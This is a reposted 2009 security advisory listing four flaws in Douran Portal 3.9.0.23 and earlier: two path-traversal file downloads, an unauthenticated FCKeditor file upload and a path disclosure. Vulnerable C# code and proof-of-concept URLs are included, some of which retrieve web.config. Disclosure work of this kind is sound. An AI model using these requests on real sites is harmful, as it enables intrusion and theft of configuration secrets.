Lucene search
K

douran portal <= 3.9.0.23 Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Douran Portal <= 3.9.0.23 Multiple Vulnerabilities, File Download, Upload, and Path Disclosur

Code

                                                Abysssec Inc Public Advisory

Description : 

these vulnerabilites found one year ago and new version of this portal &#34;is not&#34; affect whith these vulnerabilites anymore 
but still lots of web site uses of old version and are vulnerable and also new version is not &#34;fully secure&#34; . so because of patching there 
is no point to keep these private anymore these vulnerabities are just for educational purpose and author will be not be responsible 
for any damage using this vulnerabiltes .

Discovery : www.Abysssec.com 

Title  : Douran Portal Multiple Remote Vulnerabilities
Affected Version : DOURAN Portal   &#60;= V3.9.0.23
Vendor  Site   : www.douran.com



Vulnerabilites : 


1- File Download Vulnerbility in /Admin/ImportExport/download.aspx

Vulnerable Code :


		string strFileName = Request.Params[&#34;Filename&#34;];
		if((strFileName != null) && (strFileName != &#34;&#34;))
		{
			string strPath = Server.MapPath(&#34;../../_DouranPortal/ExportPortal&#34;);
			strPath += &#34;\\&#34; + strFileName; // Vulnerablity
			if(System.IO.File.Exists(strPath))
			{
				Response.Clear();
				Response.ContentType = &#34;application/octet-stream&#34;;
				Response.AddHeader(&#34;Content-Transfer-Encoding&#34;, &#34;binary&#34;);
				Response.AddHeader(&#34;Content-Disposition&#34;, &#34;attachment; filename=\&#34;&#34; + strFileName + &#34;\&#34;&#34;);
				Response.Flush();
				Response.WriteFile(strPath);
				Response.End();

			.....


PoC : http://www.vulnerable.com/Admin/ImportExport/Download.aspx?filename=../../web.config



2- File Download Vulnerbility in /download.aspx

Vulnerable Code :


	string fileNameAttach = Request.Params[&#34;FileNameAttach&#34;];
	string filePathAttach = Request.Params[&#34;FilePathAttach&#34;];
	string originalAttachFileName = Request.Params[&#34;OriginalAttachFileName&#34;];
	if((fileNameAttach != null) && (filePathAttach != &#34;&#34;))
	{
		string strPath = Server.MapPath(filePathAttach + &#34;/&#34; + fileNameAttach); // Vulnerable
		if(System.IO.File.Exists(strPath))
		{
			System.IO.Stream iStream = null;

			// Buffer to read 1 mega bytes in chunk:
			int segmentLegthToRead = 1024 * 1024;
			byte[] buffer = new Byte[segmentLegthToRead];
		......

PoC : http://www.vulnerable.com/download.aspx?FileNameAttach=/web.config

3- File Upload Vulnerability DesktopModules/fck/editor

Vulnerablity : 

Using Fckeditor without any authentication will give ability to attacker to
upload his / her own file and fckeditor won&#39;t check file extention
it will give ability to attacker upload a malicius server side ASP / ASPX / PHP  / JSP .
so this vulnerability can creation access to server / portal completely .

PoC : http://www.vulnerable.com/DesktopModules/fck/editor/filemanager/upload/test.html


4-Path Disclosure Vulnerablity In DesktopModules/DesktopCalendar/HZAN_pickercal.aspx

Vulnerable Code : 

Calendar1.FullWidth = true;
	Calendar1.BigCaledar = bool.Parse((string)Request.QueryString[&#34;calsize&#34;]);
	if (!IsPostBack) 
	{
		Calendar1.Date = new DateTime(long.Parse((string)Request.QueryString[&#34;curd&#34;]));
		Calendar1.CalendarCulture = (HZAN.Calendar.CultureType)Enum.Parse(typeof(HZAN.Calendar.CultureType),(string)Request.QueryString[&#34;culture&#34;]);
		seldate = Calendar1.Date.ToShortDateString();
		ChangeSelDate1();
	}


PoC : http://www.vulnerable.com/DesktopModules/DesktopCalendar/HZAN_pickercal.aspx?calsize=&#39;


Final Note : for advanced security topics / sharing idea and etc ... please feel free to contact me at  : admin [at] abysssec.com

# milw0rm.com [2009-05-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation